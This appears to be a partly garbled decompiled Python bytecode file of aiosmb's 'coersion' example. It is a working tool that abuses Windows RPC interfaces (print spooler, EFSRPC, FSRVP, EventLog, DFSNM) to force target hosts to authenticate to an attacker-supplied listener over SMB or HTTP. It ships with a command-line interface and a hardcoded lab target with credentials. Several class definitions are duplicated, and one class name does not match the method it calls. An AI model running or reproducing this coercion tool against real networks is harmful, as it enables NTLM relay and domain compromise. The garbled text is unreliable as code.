o
    j`                     @   s  d dl Z d dlZd dlZd dlZd dlZd dlmZmZ d dlm	Z	 d dl
mZ d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZ d d
lmZ d dlmZ eeeeedZG dd deZG dd deZG dd deZG dd deZG dd deZG dd deZ G dd deZ!G dd deZ"G dd deZ#G dd  d eZ$G d!d" d"eZ%G d#d$ d$eZ&G d%d& d&eZ'G d'd( d(eZ(G d)d* d*eZ)G d+d, d,eZ*G d-d. d.eZ+G d/d. d.eZ+d0d1 Z,G d2d3 d3Z-d4d5 Z.d6d7 Z/e0d8krd9Z1e 2e/e1 dS dS ):    N)ABCabstractmethod)SMBConnectionFactory)
SMBMachine)RPRNRPC)FSRVPRPC)EVENRPC)EFSRRPC)DFSNMRPC)PRINTER_CHANGE_ADD_JOB)DCERPCException)RPRNFSRVPEVENEFSRDFSNMc                   @   sX   e Zd Zdd Zeedd Zeedd Zedd Zed	d
 Z	edd Z
dS )CoersionModulec                 C   s   d S N selfr   r   /root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/examples/coersion.py__init__   s   zCoersionModule.__init__c                 C      t dNz&Must be implemented in the child classNotImplementedErrorclsr   r   r   protocol!      zCoersionModule.protocolc                 C   r   r   r   r   r   r   r   paths&   r    zCoersionModule.pathsc                 C   sj   |d |d krt d||f |d }td| j|}|j|d |d dkr1dt|d  d	S dd	S )
Nr   zInvalid path template! %s %s   z\{rnd\((\d+)\)\}     @ )listenerlisten_port)	Exceptionresubrnd_replacerformatstr)r   listener_configpath_templatepathr   r   r   get_path+   s   zCoersionModule.get_pathc                 C   s*   t |d}dtjtjtj |dS )Nr"   r&   k)intgroupjoinrandomchoicesstringascii_lettersdigits)r   matchlengthr   r   r   r,   9   s   zCoersionModule.rnd_replacerc                 C   s   |   S r   )r!   )r   url_strr   r   r   supported_path_types>      z#CoersionModule.supported_path_typesN)__name__
__module____qualname__r   classmethodr   r   r!   r2   r,   r@   r   r   r   r   r      s    

r   c                       @   e Zd Z fddZedd Zedd Zedd Z  ZS )	-RpcRemoteFindFirstPrinterChangeNotificationExc                       t    d S r   superr   r   	__class__r   r   r   C      z6RpcRemoteFindFirstPrinterChangeNotificationEx.__init__c                 C      dS Nr   r   r   r   r   r   r   F      z6RpcRemoteFindFirstPrinterChangeNotificationEx.protocolc                 C      ddgS N)smbz\\{listener}\)httpz#\\{listener}@{listen_port}/{rnd(3)}r   r   r   r   r   r!   J      z3RpcRemoteFindFirstPrinterChangeNotificationEx.pathsc              
         z2|  ||}d|d  }||I d H \}}|d ur||j|t|dI d H \}}|d ur1|W dS  tyd }	 z%t|	 }
|
ddksO|
ddkrVW Y d }	~	dS d |	fW  Y d }	~	S d }	~	ww Nz\\%sr"   )pszLocalMachineTNrpc_s_access_deniedserver_unavailable)r2   open_printer.hRpcRemoteFindFirstPrinterChangeNotificationExr   r)   r.   lowerfindr   rpcr/   r0   r1   printerhandleerrreseexcr   r   r   runQ   ,   z1RpcRemoteFindFirstPrinterChangeNotificationEx.run	rB   rC   rD   r   rE   r   r!   ri   __classcell__r   r   rK   r   rG   B       

rG   c                       rF   )	+RpcRemoteFindFirstPrinterChangeNotificationc                    rH   r   rI   r   rK   r   r   r   i   rM   z4RpcRemoteFindFirstPrinterChangeNotification.__init__c                 C   rN   rO   r   r   r   r   r   r   l   rP   z4RpcRemoteFindFirstPrinterChangeNotification.protocolc                 C   rQ   rR   r   r   r   r   r   r!   p   rU   z1RpcRemoteFindFirstPrinterChangeNotification.pathsc              
      rV   rW   )r2   r]   ,hRpcRemoteFindFirstPrinterChangeNotificationr   r)   r.   r_   r`   ra   r   r   r   ri   w   rj   z/RpcRemoteFindFirstPrinterChangeNotification.runrk   r   r   rK   r   rn   h   rm   rn   c                       rF   )	IsPathShadowCopiedc                    rH   r   rI   r   rK   r   r   r      rM   zIsPathShadowCopied.__init__c                 C   rN   Nr   r   r   r   r   r   r      rP   zIsPathShadowCopied.protocolc                 C   rQ   rR   r   r   r   r   r   r!      rU   zIsPathShadowCopied.pathsc              
      sn   z|  ||}|d ur|||I d H \}}|d ur|W dS  ty6 } z
d |fW  Y d }~S d }~ww NrY   )r2   hRpcIsPathShadowCopiedr   )r   rb   r/   r0   r1   re   rf   rg   r   r   r   ri      s   zIsPathShadowCopied.runrk   r   r   rK   r   rp      rm   rp   c                       rF   )	IsPathSupportedc                    rH   r   rI   r   rK   r   r   r      rM   zIsPathSupported.__init__c                 C   rN   rq   r   r   r   r   r   r      rP   zIsPathSupported.protocolc                 C   rQ   rR   r   r   r   r   r   r!      rU   zIsPathSupported.pathsc              
      sb   z|  ||}||I d H \}}|d ur|W dS  ty0 } z
d |fW  Y d }~S d }~ww rr   )r2   hRpcIsPathSupportedr   r   rb   r/   r0   r1   rf   re   rg   r   r   r   ri      s   zIsPathSupported.runrk   r   r   rK   r   rt      rm   rt   c                       rF   )	ElfrOpenBELWc                    rH   r   rI   r   rK   r   r   r      rM   zElfrOpenBELW.__init__c                 C   rN   )Nr   r   r   r   r   r   r      rP   zElfrOpenBELW.protocolc                 C   s   dgS )N)rS   z+\??\UNC\{listener}{listen_port}\{rnd(8)}\aar   r   r   r   r   r!      s   zElfrOpenBELW.pathsc           	   
      s   z|  ||}||I d H \}}|d ur|W dS  tyK } z%t| }|ddks6|ddkr=W Y d }~dS d |fW  Y d }~S d }~ww )NrY   bad_netpathr[   path_not_found)r2   hElfrOpenBELWr)   r.   r_   r`   )	r   rb   r/   r0   r1   rf   re   rg   rh   r   r   r   ri      s    zElfrOpenBELW.runrk   r   r   rK   r   rw      s    

rw   c                       rF   )	EfsRpcRemoveUsersFromFilec                    rH   r   rI   r   rK   r   r   r      rM   z"EfsRpcRemoveUsersFromFile.__init__c                 C   rN   Nr   r   r   r   r   r   r      rP   z"EfsRpcRemoveUsersFromFile.protocolc                 C      g dS N))rS   z+\\{listener}{listen_port}\{rnd(8)}\file.txt)rS   z#\\{listener}{listen_port}\{rnd(8)}\)rS   z"\\{listener}{listen_port}\{rnd(8)})rT   z1\\{listener}{listen_port}/{rnd(3)}\share\file.txtr   r   r   r   r   r!      rA   zEfsRpcRemoveUsersFromFile.pathsc              
         z|  ||}||I d H \}}|d ur|W dS  tyB } zt| ddkr4W Y d }~dS d |fW  Y d }~S d }~ww NrY   ERROR_BAD_NETPATHr[   )r2   hRpcEfsRpcRemoveUsersFromFiler)   r.   upperr`   rv   r   r   r   ri         zEfsRpcRemoveUsersFromFile.runrk   r   r   rK   r   r{          

r{   c                       rF   )	EfsRpcQueryUsersOnFilec                    rH   r   rI   r   rK   r   r   r   	  rM   zEfsRpcQueryUsersOnFile.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   zEfsRpcQueryUsersOnFile.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   zEfsRpcQueryUsersOnFile.pathsc              
      r   r   )r2   hRpcEfsRpcQueryUsersOnFiler)   r.   r   r`   rv   r   r   r   ri     r   zEfsRpcQueryUsersOnFile.runrk   r   r   rK   r   r     r   r   c                       rF   )	EfsRpcQueryRecoveryAgentsc                    rH   r   rI   r   rK   r   r   r   *  rM   z"EfsRpcQueryRecoveryAgents.__init__c                 C   rN   r|   r   r   r   r   r   r   -  rP   z"EfsRpcQueryRecoveryAgents.protocolc                 C   r}   r~   r   r   r   r   r   r!   1  rA   zEfsRpcQueryRecoveryAgents.pathsc              
      r   r   )r2   hRpcEfsRpcQueryRecoveryAgentsr)   r.   r   r`   rv   r   r   r   ri   :  r   zEfsRpcQueryRecoveryAgents.runrk   r   r   rK   r   r   )  r   r   c                       rF   )	EfsRpcOpenFileRawc                    rH   r   rI   r   rK   r   r   r   L  rM   zEfsRpcOpenFileRaw.__init__c                 C   rN   r|   r   r   r   r   r   r   O  rP   zEfsRpcOpenFileRaw.protocolc                 C   r}   r~   r   r   r   r   r   r!   S  rA   zEfsRpcOpenFileRaw.pathsc              
      r   r   )r2   hRpcEfsRpcOpenFileRawr)   r.   r   r`   rv   r   r   r   ri   \  r   zEfsRpcOpenFileRaw.runrk   r   r   rK   r   r   K  r   r   c                       rF   )	EfsRpcFileKeyInfoc                    rH   r   rI   r   rK   r   r   r   m  rM   zEfsRpcFileKeyInfo.__init__c                 C   rN   r|   r   r   r   r   r   r   p  rP   zEfsRpcFileKeyInfo.protocolc                 C   r}   r~   r   r   r   r   r   r!   t  rA   zEfsRpcFileKeyInfo.pathsc              
      r   r   )r2   hRpcEfsRpcFileKeyInfor)   r.   r   r`   rv   r   r   r   ri   }  r   zEfsRpcFileKeyInfo.runrk   r   r   rK   r   r   l  r   r   c                       rF   )	EfsRpcEncryptFileSrvc                    rH   r   rI   r   rK   r   r   r     rM   zEfsRpcEncryptFileSrv.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   zEfsRpcEncryptFileSrv.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   zEfsRpcEncryptFileSrv.pathsc              
      r   r   )r2   hRpcEfsRpcEncryptFileSrvr)   r.   r   r`   rv   r   r   r   ri     r   zEfsRpcEncryptFileSrv.runrk   r   r   rK   r   r     r   r   c                       rF   )	!EfsRpcDuplicateEncryptionInfoFilec                    rH   r   rI   r   rK   r   r   r     rM   z*EfsRpcDuplicateEncryptionInfoFile.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   z*EfsRpcDuplicateEncryptionInfoFile.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   z'EfsRpcDuplicateEncryptionInfoFile.pathsc              
      s   z|  ||}|||I d H \}}|d ur|W dS  tyC } zt| ddkr5W Y d }~dS d |fW  Y d }~S d }~ww r   )r2   %hRpcEfsRpcDuplicateEncryptionInfoFiler)   r.   r   r`   rv   r   r   r   ri     s    z%EfsRpcDuplicateEncryptionInfoFile.runrk   r   r   rK   r   r     r   r   c                       rF   )	EfsRpcDecryptFileSrvc                    rH   r   rI   r   rK   r   r   r     rM   zEfsRpcDecryptFileSrv.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   zEfsRpcDecryptFileSrv.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   zEfsRpcDecryptFileSrv.pathsc              
      r   r   )r2   hRpcEfsRpcDecryptFileSrvr)   r.   r   r`   rv   r   r   r   ri     r   zEfsRpcDecryptFileSrv.runrk   r   r   rK   r   r     r   r   c                       rF   )	EfsRpcAddUsersToFileExc                    rH   r   rI   r   rK   r   r   r     rM   zEfsRpcAddUsersToFileEx.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   zEfsRpcAddUsersToFileEx.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   zEfsRpcAddUsersToFileEx.pathsc              
      r   r   )r2   hRpcEfsRpcAddUsersToFileExr)   r.   r   r`   rv   r   r   r   ri     r   zEfsRpcAddUsersToFileEx.runrk   r   r   rK   r   r     r   r   c                       rF   )	EfsRpcAddUsersToFilec                    rH   r   rI   r   rK   r   r   r     rM   zEfsRpcAddUsersToFile.__init__c                 C   rN   r|   r   r   r   r   r   r     rP   zEfsRpcAddUsersToFile.protocolc                 C   r}   r~   r   r   r   r   r   r!     rA   zEfsRpcAddUsersToFile.pathsc              
      r   r   )r2   hRpcEfsRpcAddUsersToFiler)   r.   r   r`   rv   r   r   r   ri   %  r   zEfsRpcAddUsersToFile.runrk   r   r   rK   r   r     r   r   c                       rF   )	hNetrDfsRemoveStdRootc                    rH   r   rI   r   rK   r   r   r   8  rM   hNetrDfsRemoveStdRoot.__init__c                 C   rN   Nr   r   r   r   r   r   r   ;  rP   hNetrDfsRemoveStdRoot.protocolc                 C   r}   r~   r   r   r   r   r   r!   ?  rA   hNetrDfsRemoveStdRoot.pathsc           	   
         z(|  ||}dtjtjtj dd}|||I d H \}}|d ur'|W dS  ty? } z
d |fW  Y d }~S d }~ww Nr&      r3   rY   	r2   r7   r8   r9   r:   r;   r<   hRpcNetrDfsAddStdRootr   	r   rb   r/   r0   r1   	rootSharerf   re   rg   r   r   r   ri   H     hNetrDfsRemoveStdRoot.runrk   r   r   rK   r   r   7  r   r   c                       rF   )	r   c                    rH   r   rI   r   rK   r   r   r   X  rM   r   c                 C   rN   r   r   r   r   r   r   r   [  rP   r   c                 C   r}   r~   r   r   r   r   r   r!   _  rA   r   c           	   
      r   r   r   r   r   r   r   ri   h  r   r   rk   r   r   rK   r   r   W  r   c                    s   t |  d S r   )print)msgr   r   r   dummy_printw  s   r   c                   @   s   e Zd ZdedfdededefddZdd	 Zd
d Z	dd Z
dd Zdd Zdd Zdd Zdd Zdd Zdd Zdd Zdd ZdS ) CoersionNFfactorydelay_mscontinue_on_successc                 C   sL   || _ i | _g | _g | _g | _g | _g | _i | _|| _|| _	d | _
|| _d S r   )r   modulesinclude_modulesinclude_protocolsinclude_path_typesinclude_transports
auth_types	listenersprint_cbr   	main_taskr   )r   r   r   r   r   r   r   r   r   {  s   
zCoersion.__init__c                    s$   | j d u rd S |  |I d H  d S r   )r   )r   r   r   r   r   r     s   
zCoersion.printc                 C   s    d|dfgd|dfgd| _ d S )NrS   r$   rT   P   rS   rT   )r   )r   	listen_ipr   r   r   create_default_listeners  s   

z!Coersion.create_default_listenersc                 C   s2   t jt }t D ]}|j|jkr| | q	d S r   )sysr   rB   r   __subclasses__rC   load_module)r   current_moduler   r   r   r   load_local_modules  s   

zCoersion.load_local_modulesc                 C   s4   |  | jvrg | j|  < | j|   | d S r   )r   r   append)r   moduler   r   r   r     s   zCoersion.load_modulec                 C   s   | d^}}}| }|dvrtdt|dkr1d }|dkr#d}n|dkr*d}n|d	kr0d
}nt|}|| jvr?g | j|< | j| |||f d S )N:r   z-Invalid protocol! Must be either SMB or HTTP!r   rT   r   rS   r$   httpsi  )splitr_   r)   lenr5   r   r   )r   r/   protohostportr   r   r   load_listener_config  s"   

zCoersion.load_listener_configc                 C   s   |D ]}|  | qd S r   )r   )r   listener_config_listr/   r   r   r   load_listener_configs  s   zCoersion.load_listener_configsc                 C   s   i }| j d u st| j dkr| j}n| j D ]}|| jvrq| j| ||< q| jd u s1t| jdkr3|S | D ]\}}|D ]}| | jvrM|| | q=q7|S Nr   )r   r   r   r   itemsr@   remove)r   filtered_protcolprotcolnamer   r   r   r   r   get_filtered_modules  s    

zCoersion.get_filtered_modulesc                 c   sn    |D ]1}| j D ]+}| j | D ]#}| D ]}|d |krqt| jdkr+|| jvr+q|||fV  qqqqd S r   )r   r!   r   r   )r   r   	endpointsendpointr   r/   r0   r   r   r   get_rpc_targets  s   
zCoersion.get_rpc_targetsc                    s8   |j | j |dI d H \}}|d urd |fS |d fS )N)r   )from_smbconnectionr   get_connection)r   
protoclassr   rb   re   r   r   r   connect_rpc  s
   zCoersion.connect_rpcc              
      s  d }zuzI|  ||I d H \}}|d ur1| dt| I d H  W W |d ur/| I d H  dS dS | dt| I d H  W W |d urL| I d H  dS dS  tyx } z| d| I d H  W Y d }~W |d urr| I d H  dS dS d }~ww |d ur| I d H  w w )Nz   [-] Failed to connect to %sFz&   [+] Successful bind to interface %sTz	   [-] %s)r   r   r.   closer)   )r   r   r   rb   re   rg   r   r   r   test_endpoint_connection  s4   z!Coersion.test_endpoint_connectionc                    s  z"d }|    D ]\}}|du r| jdu r W d S |D ] }|du r-| jdu r- nt| }g }| jd u s?t| jdkrD| }n| D ]}|j| jvrQqH|| qHi }| 	||D ]\}}	}
|du ro| jdu ro n| j
d urt| j
d I d H  ||vr| ||I d H ||< || du rq_| ||I d H \}}|d ur| dt| I d H  q_|4 I d H \ ||	|
}| dt|jt|t|f I d H  |||	|
I d H \}}|du r| dI d H  	 W d   I d H  q_| d| I d H  | d	| I d H  W d   I d H  n1 I d H sw   Y  q_qqW d S  tyE } z| d
| I d H  d|fW  Y d }~S d }~ww )NTFr   i  z   [!] Failed to connect to %sz   [+] Running %s %s %sz      [+] Success!z      [!] %sz      [?] %s[-] %s)r   r   r   COERSION_PROTOCOL_NAME_MAPr   r   r   etyper   r   r   asynciosleepr   r   r   r.   r2   rB   ri   r)   )r   relay_resultr   r   r   r   r   r   endpoints_testedr/   r0   rb   re   r1   rg   r   r   r   coersion_main  sb   


(	*3zCoersion.coersion_mainc              
      s   z2t | jdkr|   t | jdkrtdt |   dkr&tdt| 	 | _
| j
d fW S  tyS } z| d| I d H  d |fW  Y d }~S d }~ww )Nr   zNo listeners configuredzNo modules configuredr   )r   r   r   r   r)   r   r   r   create_taskr   r   r   )r   rg   r   r   r   ri   )  s   zCoersion.run)rB   rC   rD   r   r   r5   boolr   r   r   r   r   r   r   r   r   r   r   r   ri   r   r   r   r   r   z  s    ;r   c           	         s  dd l }|jdd}|jddddd |jdtd	d
d |jddtddd |jdddd |jddddd |jdddd |jdtdd |jddd d |jd!dd"d |jd#dd$d |jd%dd&d |jd'd(d)d |jd*d+d |jd,d-d.d/ | }|jd u rtd0 d S d1|jd2fgd3|jd4fgd5}t| }t	||j
|jd6}||_|j|_|j|_|j|_|j|_t| | I d H \}}|d urtd7|  d S |I d H  d S )8Nr   zCoersion module)descriptionz-vz	--verbosecount)actiondefaultz--depth   z"Recursion depth, -1 means infinite)typer   helpz-wz--smb-worker-countd   zParallell countz-oz
--out-filezOutput file path.)r   z-sz--stdin
store_truezRead targets from stdin)r   r   z--continue-on-successzContinue on successz--delayzDelay between requests)r   r   z--filter-pipe-namer   zFilter pipez--filter-protocol-namezFilter protocol namez--filter-method-namezFilter method namez--auth-typezLimit auth typez-lz--listen-ipz2IP address to coerse the target to connect back tourlzConnection string that describes the authentication and target. Example: smb+ntlm-password://TEST\Administrator:password@127.0.0.1targets*z5Hostname or IP address or file with a list of targets)nargsr   z You need to specify a listen IP!rS   r$   rT   r   r   )r   r   r   )argparseArgumentParseradd_argumentr5   
parse_argsr   r   r   from_urlr   delayr   r   	auth_typer   filter_pipe_namer   filter_protocol_namer   filter_method_namer   ri   )	r?   r   parserargslistener_configsr   coersioncoersion_taskre   r   r   r   test:  sJ   

r   c                    sb   t | }t|dd}dg|_|d | I d H \}}|d ur*td|  d S |I d H  d S )N2   )r   r   z192.168.56.1r   )r   r   r   r   r   ri   r   )r?   r   r   r   re   r   r   r   test2m  s   

r  __main__z4smb2+ntlm-password://NORTH\hodor:hodor@192.168.56.23)3r   r8   r:   r*   r   abcr   r   !aiosmb.commons.connection.factoryr   !aiosmb.commons.interfaces.machiner   #aiosmb.dcerpc.v5.interfaces.rprnmgrr   $aiosmb.dcerpc.v5.interfaces.fsrvpmgrr   #aiosmb.dcerpc.v5.interfaces.evenmgrr   #aiosmb.dcerpc.v5.interfaces.efsrmgrr	   $aiosmb.dcerpc.v5.interfaces.dfsnmmgrr
   aiosmb.dcerpc.v5.rprnr   aiosmb.dcerpc.v5.rpcrtr   r   r   rG   rn   rp   rt   rw   r{   r   r   r   r   r   r   r   r   r   r   r   r   r   r  rB   r   ri   r   r   r   r   <module>   s`    %&&!!"!!""!"#   A3
